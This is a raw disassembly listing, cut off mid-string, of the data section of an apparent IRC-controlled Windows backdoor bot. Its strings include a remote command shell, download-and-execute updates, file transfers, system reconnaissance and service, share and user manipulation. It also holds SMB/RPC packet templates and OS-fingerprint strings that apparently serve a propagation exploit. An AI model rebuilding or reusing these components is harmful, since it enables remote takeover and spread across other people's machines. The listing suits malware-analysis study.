IO thread, error: <%d>.',0 align 10h unk_428980 db 2 ; DATA XREF: sub_4090ED+14Co db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 63h, 6Dh db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aRemoteCommandP db ' Remote Command Prompt',0 align 4 aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_4090ED+21o aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_4092A2+52o aSysinfoCpuI64u db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:' ; DATA XREF: sub_4093C1+297o db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:' db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:' db ' %s. [Uptime]: %s.',0 align 10h aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_4093C1+192o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_4093C1:loc_409525o align 4 word_428AC4 dw 3Fh ; DATA XREF: sub_4093C1:loc_4094C3r ; sub_40A9A6+1Fo align 4 aSS_2 db '%s (%s)',0 ; DATA XREF: sub_4093C1+EBo a??? db '???',0 ; DATA XREF: sub_4093C1:loc_409484o ; .text:loc_4129C5o a2003 db '2003',0 ; DATA XREF: sub_4093C1+BAo ; .data:0042A618o ... align 4 aXp db 'XP',0 ; DATA XREF: sub_4093C1+AAo ; .text:004129B0o ... align 10h a2k db '2K',0 ; DATA XREF: sub_4093C1+98o ; .text:004129A0o align 4 aMe db 'ME',0 ; DATA XREF: sub_4093C1+7Eo ; .text:00412987o align 4 a98 db '98',0 ; DATA XREF: sub_4093C1+6Co ; .text:00412977o align 4 aNt db 'NT',0 ; DATA XREF: sub_4093C1+5Ao ; .text:00412967o align 10h a95 db '95',0 ; DATA XREF: sub_4093C1+46o ; .text:00412959o align 4 aNetinfoTypeSS_ db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0 ; DATA XREF: sub_409675+ABo align 4 off_428B34 dd offset loc_412F4B+3 ; DATA XREF: sub_409675:loc_4096E9o off_428B38 dd offset dword_4E414C ; DATA XREF: sub_409675:loc_4096E2o aDialUp db 'Dial-up',0 ; DATA XREF: sub_409675+5Bo aNotConnected db 'Not connected',0 ; DATA XREF: sub_409675+48o align 4 aD_SS db '%d. %s = %s',0 ; DATA XREF: sub_4097BB+35o aAliasList db '-[Alias List]-',0 ; DATA XREF: sub_4097BB+10o align 10h a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_409833+60o align 4 dword_428B94 dd 5B027302h, 5D1F491Fh, 6F6C2820h, 702E7367h, 671F6C1Fh ; DATA XREF: sub_4098D3+1Ao dd 0BB022029h, 202002BBh, 656C4320h, 64657261h, 2Eh dword_428BBC dd 5B027302h, 5D1F491Fh, 6F6C2820h, 1F702E67h, 29671F6Ch ; DATA XREF: sub_409913+DCo dd 0BBBB0220h, 4C202002h, 20747369h, 706D6F63h, 6574656Ch dd 2Eh dword_428BE8 dd 5B027302h, 5D1F491Fh, 6F6C2820h, 1F702E67h, 29671F6Ch ; DATA XREF: sub_409913+3Fo dd 0BBBB0220h, 42202002h, 6E696765h, 2 dup(0) dword_428C10 dd 78h align 8 dword_428C18 dd 80000002h, 42A3F8h, 80000002h, 42A428h, 80000001h, 42A460h ; DATA XREF: sub_409A42+7o unk_428C30 db 2 ; DATA XREF: sub_409A42+63o ; sub_409BFD+170o db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 64h, 63h db 63h ; c db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSendTo db ' Failed to send to Remote command shell.',0 align 4 unk_428C74 db 2 ; DATA XREF: sub_409BFD+ABo db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 64h, 63h db 63h ; c db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToOpenRe db ' Failed to open remote command shell.',0 unk_428CB4 db 2 ; DATA XREF: sub_409BFD+47o ; sub_409DBE+FDo db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 64h, 63h db 63h ; c db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToOpenSo db ' Failed to open socket.',0 align 4 dword_428CE8 dd 5B027302h, 5D1F491Fh, 63642820h, 1F702E63h, 29671F6Ch ; DATA XREF: sub_409DBE+362o ; sub_40A160+159o dd 0BBBB0220h, 53202002h, 656B636Fh, 72652074h, 2E726F72h dd 0 unk_428D14 db 2 ; DATA XREF: sub_409DBE+2FAo db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 64h, 63h db 63h ; c db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTransferComple db ' Transfer complete to IP: %s, Filename: %s (%s bytes).',0 align 4 unk_428D68 db 2 ; DATA XREF: sub_409DBE+202o db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 64h, 63h db 63h ; c db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUnableToOpenSo db ' Unable to open socket.',0 align 4 dword_428D9C dd 5B027302h, 5D1F491Fh, 63642820h, 1F702E63h, 29671F6Ch ; DATA XREF: sub_409DBE+1CBo dd 0BBBB0220h, 53202002h, 20646E65h, 656D6974h, 2E74756Fh dd 0 dword_428DC8 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: sub_409DBE+16Ao dd 169h unk_428DE0 db 2 ; DATA XREF: sub_409DBE+127o db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 64h, 63h db 63h ; c db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFileDoesnTExis db ' File doesn',27h,'t exist.',0 align 10h unk_428E10 db 2 ; DATA XREF: sub_409DBE+82o db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 64h, 63h db 63h ; c db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToBindTo db ' Failed to bind to socket.',0 align 4 unk_428E48 db 2 ; DATA XREF: sub_409DBE+44o db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 64h, 63h db 63h ; c db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToCreate db ' Failed to create socket.',0 unk_428E7C db 2 ; DATA XREF: sub_40A160+1D8o db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 64h, 63h db 63h ; c db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTransferComp_0 db ' Transfer complete from IP: %s, Filename: %s (%s bytes).',0 align 10h unk_428ED0 db 2 ; DATA XREF: sub_40A160+CEo db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 64h, 63h db 63h ; c db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorOpeningSo db ' Error opening socket.',0 align 4 unk_428F04 db 2 ; DATA XREF: sub_40A160+ABo db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 64h, 63h db 63h ; c db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorOpeningFi db ' Error opening file for writing.',0 align 10h off_428F40 dd offset byte_622B61 ; DATA XREF: sub_40A160+97o unk_428F44 db 2 ; DATA XREF: sub_40A160+83o db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 64h, 63h db 63h ; c db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorUnableToW db ' Error unable to write file to disk.',0 align 4 unk_428F84 db 2 ; DATA XREF: sub_40A3AD+4DBo db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 64h, 6Fh db 77h ; w db 6Eh, 6Ch, 6Fh db 61h ; a db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aBadUrlOrDnsErr db 'Bad URL, or DNS Error: %s.',0 align 10h unk_428FC0 db 2 ; DATA XREF: sub_40A3AD+4CDo db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 64h, 6Fh db 77h ; w db 6Eh, 6Ch, 6Fh db 61h ; a db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aUpdateFailedEr db 'Update failed: Error executing file: %s.',0 align 4 unk_42900C db 2 ; DATA XREF: sub_40A3AD+40Bo db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 64h, 6Fh db 77h ; w db 6Eh, 6Ch, 6Fh db 61h ; a db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aDownloaded_1fk db 'Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0 dword_42905C dd 5B027302h, 5D1F491Fh, 6F642820h, 6F6C6E77h, 702E6461h ; DATA XREF: sub_40A3AD+397o dd 671F6C1Fh, 0BB022029h, 202002BBh, 6E65704Fh, 203A6465h dd 2E7325h aOpen db 'open',0 ; DATA XREF: sub_40A3AD+372o ; sub_40CC09+26EEo ... align 10h unk_429090 db 2 ; DATA XREF: sub_40A3AD+314o db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 64h, 6Fh db 77h ; w db 6Eh, 6Ch, 6Fh db 61h ; a db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aDownloaded_1fK db 'Downloaded %.1f KB to %s @ %.1f KB/sec.',0 unk_4290D8 db 2 ; DATA XREF: sub_40A3AD+28Fo db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 64h, 6Fh db 77h ; w db 6Eh, 6Ch, 6Fh db 61h ; a db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aCrcFailedDD_ db 'CRC Failed (%d != %d).',0 align 10h unk_429110 db 2 ; DATA XREF: sub_40A3AD+1F9o db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 64h, 6Fh db 77h ; w db 6Eh, 6Ch, 6Fh db 61h ; a db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFilesizeIsInco db 'Filesize is incorrect: (%d != %d).',0 align 4 unk_429154 db 2 ; DATA XREF: sub_40A3AD+1AAo db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 64h, 6Fh db 77h ; w db 6Eh, 6Ch, 6Fh db 61h ; a db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aUpdateSDkbTran db 'Update: %s (%dKB transferred).',0 align 4 unk_429194 db 2 ; DATA XREF: sub_40A3AD+198o db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 64h, 6Fh db 77h ; w db 6Eh, 6Ch, 6Fh db 61h ; a db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFileDownloadSD db 'File download: %s (%dKB transferred).',0 align 4 unk_4291DC db 2 ; DATA XREF: sub_40A3AD+77o db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 64h, 6Fh db 77h ; w db 6Eh, 6Ch, 6Fh db 61h ; a db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aCouldnTOpenFil db 'Couldn',27h,'t open file: %s.',0 aUnknown db 'Unknown',0 ; DATA XREF: sub_40A9A6:loc_40A9E9o ; sub_40BB90+104o aInvalid db 'Invalid',0 ; DATA XREF: sub_40A9A6:loc_40A9E3o aDisk db 'Disk',0 ; DATA XREF: sub_40A9A6:loc_40A9DDo align 4 aNetwork db 'Network',0 ; DATA XREF: sub_40A9A6:loc_40A9D7o aCdrom db 'Cdrom',0 ; DATA XREF: sub_40A9A6:loc_40A9D1o align 4 off_42923C dd offset word_4D4152 ; DATA XREF: sub_40A9A6:loc_40A9CBo aFailed db 'failed',0 ; DATA XREF: sub_40AA37:loc_40AB0Fo ; sub_40AB52+3Eo align 4 aSkb db '%sKB',0 ; DATA XREF: sub_40AA37+6Bo align 10h unk_429250 db 2 ; DATA XREF: sub_40AB52+94o db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 63h, 6Fh db 72h ; r db 65h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aSDriveSSTotalS db '%s Drive (%s): %s total, %s free, %s available.',0 unk_42929C db 2 ; DATA XREF: sub_40AB52+5Bo db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 63h, 6Fh db 72h ; r db 65h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aSDriveSFailedT db '%s Drive (%s): Failed to stat, device not ready.',0 align 4 off_4292EC dd offset byte_5C3A41 ; DATA XREF: sub_40AC2A:loc_40AC6Fo dword_4292F0 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; sub_40ADCF+3D7o dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_42933C dd 3000005h, 10h, 18h, 1, 3 dup(0) ; sub_40ADCF+416o dword_429358 dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h, 0 ; DATA XREF: sub_40ADCF+2F2o ; sub_40ADCF+44Bo dword_42936C dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: sub_40ADCF+316o ; sub_40ADCF+472o unk_429380 db 81h ; ; DATA XREF: sub_40ADCF+8Co db 2 dup(0), 44h aCkfdenecfdef_0 db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aEkedfeeiedcaca db ' EKEDFEEIEDCACACACACACACACACACAAA',0 dd 0 dword_4293CC dd 2F000000h, 424D53FFh, 72h, 4 dup(0) dd 25C0000h, 0 dd 2000C00h, 4C20544Eh, 2E30204Dh, 3231h dword_429400 dd 48000000h, 424D53FFh, 73h, 4 dup(0) dd 25C0000h, 0 dd 0FF0Dh, 2FFFF00h, 25C00h, 2 dup(0) dd 1000000h, 0B000000h, 6E000000h, 79700074h, 626D73h dd 0 aPipeEpmapper db 'pipe\epmapper',0 ; DATA XREF: sub_40ADCF+261o align 10h aS_3 db '\\%s\',0 ; DATA XREF: sub_40ADCF+249o align 4 aSamba db 'Samba *',0 ; DATA XREF: sub_40ADCF+221o aWindows5_1 db 'Windows 5.1',0 ; DATA XREF: sub_40ADCF+202o aWindows5_0 db 'Windows 5.0',0 ; DATA XREF: sub_40ADCF+1D4o aWindows2000Lan db 'Windows 2000 LAN Manager*',0 ; DATA XREF: sub_40ADCF+1BBo align 4 aNtLanManager_ db 'NT LAN Manager *.*',0 ; DATA XREF: sub_40ADCF+1A1o align 4 aWindowsServer2 db 'Windows Server 2003 *.*',0 ; DATA XREF: sub_40ADCF+186o aSSS db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40B2B5+58o aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_40B2B5+16o ; sub_40CC09+620o aNotice db 'NOTICE',0 ; DATA XREF: sub_40B2B5+Fo ; sub_40CC09+62Co align 10h off_4294F0 dd offset off_4295B4 ; DATA XREF: sub_40B350+6Dr ; sub_40B734+50r ... off_4294F4 dd offset aAdded ; DATA XREF: sub_40B350+2Dr ; sub_40B734+82r ... ; "Added" dword_4294F8 dd 0 dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 8 dd offset aList_0 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 10h dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 429564h, 42955Ch, 2, 429550h, 429544h, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused_0 db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: .data:00429524o aStop_0 db 'Stop',0 ; DATA XREF: .data:00429520o align 4 aStarted db 'Started',0 ; DATA XREF: .data:00429518o aStart_0 db 'Start',0 ; DATA XREF: .data:00429514o align 4 aListed db 'Listed',0 ; DATA XREF: .data:0042950Co align 4 aList_0 db 'List',0 ; DATA XREF: .data:00429508o align 4 aDeleted db 'Deleted',0 ; DATA XREF: .data:00429500o aDelete_0 db 'Delete',0 ; DATA XREF: .data:004294FCo align 4 aAdded db 'Added',0 ; DATA XREF: .data:off_4294F4o align 4 off_4295B4 dd offset byte_646441 ; DATA XREF: .data:off_4294F0o unk_4295B8 db 2 ; DATA XREF: sub_40B350+74o db 74h, 2, 72h db 6Eh ; n db 28h, 30h, 31h db 61h ; a db 29h, 20h, 5Bh db 6Eh ; n db 65h, 74h, 2Eh db 6Dh ; m db 1Fh, 64h, 1Fh db 6Ch ; l db 5Dh, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aSNoServiceSpec db ' %s: No service specified.',0 align 10h unk_4295F0 db 2 ; DATA XREF: sub_40B350+55o db 74h, 2, 72h db 6Eh ; n db 28h, 30h, 31h db 61h ; a db 29h, 20h, 5Bh db 6Eh ; n db 65h, 74h, 2Eh db 6Dh ; m db 1Fh, 64h, 1Fh db 6Ch ; l db 5Dh, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aErrorWithServi db ' Error with service: ',27h,'%s',27h,'. %s',0 align 4 unk_42962C db 2 ; DATA XREF: sub_40B350+38o db 74h, 2, 72h db 6Eh ; n db 28h, 30h, 31h db 61h ; a db 29h, 20h, 5Bh db 6Eh ; n db 65h, 74h, 2Eh db 6Dh ; m db 1Fh, 64h, 1Fh db 6Ch ; l db 5Dh, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aSServiceS_ db ' %s service: ',27h,'%s',27h,'.',0 align 4 aAnUnknownErr_0 db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_40B479+12Co align 10h aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_40B479:loc_40B591o align 10h aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_40B479:loc_40B58Ao align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_40B479:loc_40B583o db 'the state of the service.',0 align 10h aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_40B479:loc_40B57Co align 4 aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_40B479:loc_40B575o db ' correct access rights.',0 align 4 aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_40B479:loc_40B56Eo align 10h aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_40B479:loc_40B567o align 10h aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_40B479:loc_40B560o align 4 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_40B479:loc_40B559o db 'marked for deletion.',0 align 4 aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_40B479:loc_40B552o align 4 aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_40B479:loc_40B527o align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_40B479:loc_40B520o db ' the service.',0 align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_40B479:loc_40B519o db 'tServiceCtrlDispatcher.',0 align 10h aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_40B479:loc_40B512o align 10h aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_40B479+8Fo aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_40B479:loc_40B4E7o db 'dependent on it.',0 align 4 aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_40B479:loc_40B4DDo aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_40B479:loc_40B4D3o aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_40B479:loc_40B4C9o align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_40B479:loc_40B4BFo align 10h aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_40B479+3Co align 4 aSSS_0 db '%s: %s (%s)',0 ; DATA XREF: sub_40B5F7+EBo aStopped db ' Stopped',0 ; DATA XREF: sub_40B5F7:loc_40B6C3o aStarting db ' Starting',0 ; DATA XREF: sub_40B5F7:loc_40B6BCo aStoping db ' Stoping',0 ; DATA XREF: sub_40B5F7:loc_40B6B5o aRunning db ' Running',0 ; DATA XREF: sub_40B5F7:loc_40B6AEo aContinuing db ' Continuing',0 ; DATA XREF: sub_40B5F7:loc_40B6A7o aPausing db ' Pausing',0 ; DATA XREF: sub_40B5F7:loc_40B6A0o aPaused db ' Paused',0 ; DATA XREF: sub_40B5F7:loc_40B699o aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_40B5F7+9Bo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_40B5F7+25o align 4 unk_429B94 db 2 ; DATA XREF: sub_40B734+ABo db 74h, 2, 72h db 6Eh ; n db 28h, 30h, 31h db 61h ; a db 29h, 20h, 5Bh db 6Eh ; n db 65h, 74h, 2Eh db 6Dh ; m db 1Fh, 64h, 1Fh db 6Ch ; l db 5Dh, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aSNoShareSpecif db ' %s: No share specified.',0 align 4 unk_429BCC db 2 ; DATA XREF: sub_40B734+89o db 74h, 2, 72h db 6Eh ; n db 28h, 30h, 31h db 61h ; a db 29h, 20h, 5Bh db 6Eh ; n db 65h, 74h, 2Eh db 6Dh ; m db 1Fh, 64h, 1Fh db 6Ch ; l db 5Dh, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aSShareS_ db ' %s share: ',27h,'%s',27h,'.',0 align 4 unk_429BFC db 2 ; DATA XREF: sub_40B734+57o db 74h, 2, 72h db 6Eh ; n db 28h, 30h, 31h db 61h ; a db 29h, 20h, 5Bh db 6Eh ; n db 65h, 74h, 2Eh db 6Dh ; m db 1Fh, 64h, 1Fh db 6Ch ; l db 5Dh, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aSErrorWithShar db ' %s: Error with share: ',27h,'%s',27h,'. %s',0 a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_40B929+D0o align 10h aNo db 'No',0 ; DATA XREF: sub_40B929+BCo align 4 off_429C54 dd offset byte_736559 ; DATA XREF: sub_40B929+B5o unk_429C58 db 2 ; DATA XREF: sub_40B929+76o db 74h, 2, 72h db 6Eh ; n db 28h, 30h, 31h db 61h ; a db 29h, 20h, 5Bh db 6Eh ; n db 65h, 74h, 2Eh db 6Dh ; m db 1Fh, 64h, 1Fh db 6Ch ; l db 5Dh, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aShareListError db ' Share list error: %s <%ld>',0 aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_40B929+26o align 4 unk_429CC8 db 2 ; DATA XREF: sub_40BA4A+B6o db 74h, 2, 72h db 6Eh ; n db 28h, 30h, 31h db 61h ; a db 29h, 20h, 5Bh db 6Eh ; n db 65h, 74h, 2Eh db 6Dh ; m db 1Fh, 64h, 1Fh db 6Ch ; l db 5Dh, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aSNoUsernameSpe db ' %s: No username specified.',0 unk_429D00 db 2 ; DATA XREF: sub_40BA4A+94o db 74h, 2, 72h db 6Eh ; n db 28h, 30h, 31h db 61h ; a db 29h, 20h, 5Bh db 6Eh ; n db 65h, 74h, 2Eh db 6Dh ; m db 1Fh, 64h, 1Fh db 6Ch ; l db 5Dh, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aSErrorWithUser db ' %s: Error with username: ',27h,'%s',27h,'. %s',0 align 10h unk_429D40 db 2 ; DATA XREF: sub_40BA4A+6Do db 74h, 2, 72h db 6Eh ; n db 28h, 30h, 31h db 61h ; a db 29h, 20h, 5Bh db 6Eh ; n db 65h, 74h, 2Eh db 6Dh ; m db 1Fh, 64h, 1Fh db 6Ch ; l db 5Dh, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aSUsernameS_ db ' %s username: ',27h,'%s',27h,'.',0 unk_429D70 db 2 ; DATA XREF: sub_40BB90+394o db 74h, 2, 72h db 6Eh ; n db 28h, 30h, 31h db 61h ; a db 29h, 20h, 5Bh db 6Eh ; n db 65h, 74h, 2Eh db 6Dh ; m db 1Fh, 64h, 1Fh db 6Ch ; l db 5Dh, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aUserInfoErrorL db ' User info error: <%ld>',0 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_40BB90+36Ao align 4 aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_40BB90+33Fo align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_40BB90+317o aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_40BB90+2ECo align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_40BB90+2C4o align 4 aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_40BB90+299o align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_40BB90+271o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_40BB90+246o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_40BB90+21Eo align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_40BB90+1F3o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_40BB90+1CBo align 10h aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_40BB90+1A0o align 10h aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_40BB90+178o align 4 aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_40BB90+14Do align 4 aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_40BB90+125o aGuest db 'Guest',0 ; DATA XREF: sub_40BB90:loc_40BCA9o align 10h aUser_0 db 'User',0 ; DATA XREF: sub_40BB90:loc_40BCA2o align 4 aAdministrator db 'Administrator',0 ; DATA XREF: sub_40BB90:loc_40BC9Bo ; .data:0042A4A0o ... align 4 aCommentS db 'Comment: %S',0 ; DATA XREF: sub_40BB90+D4o aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_40BB90+ACo align 4 aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_40BB90+81o align 4 aAccountS db 'Account: %S',0 ; DATA XREF: sub_40BB90+50o aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_40BF5E+14Fo align 4 unk_429F3C db 2 ; DATA XREF: sub_40BF5E+F7o db 74h, 2, 72h db 6Eh ; n db 28h, 30h, 31h db 61h ; a db 29h, 20h, 5Bh db 6Eh ; n db 65h, 74h, 2Eh db 6Dh ; m db 1Fh, 64h, 1Fh db 6Ch ; l db 5Dh, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aAnAccessViolat db ' An access violation has occured.',0 align 4 aS_4 db ' %S',0 ; DATA XREF: sub_40BF5E+BEo align 4 unk_429F84 db 2 ; DATA XREF: sub_40BF5E+7Ao db 74h, 2, 72h db 6Eh ; n db 28h, 30h, 31h db 61h ; a db 29h, 20h, 5Bh db 6Eh ; n db 65h, 74h, 2Eh db 6Dh ; m db 1Fh, 64h, 1Fh db 6Ch ; l db 5Dh, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aUserListErrorS db ' User list error: %s <%ld>',0 align 4 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_40BF5E+29o aNetworkConnect db 'Network connection not 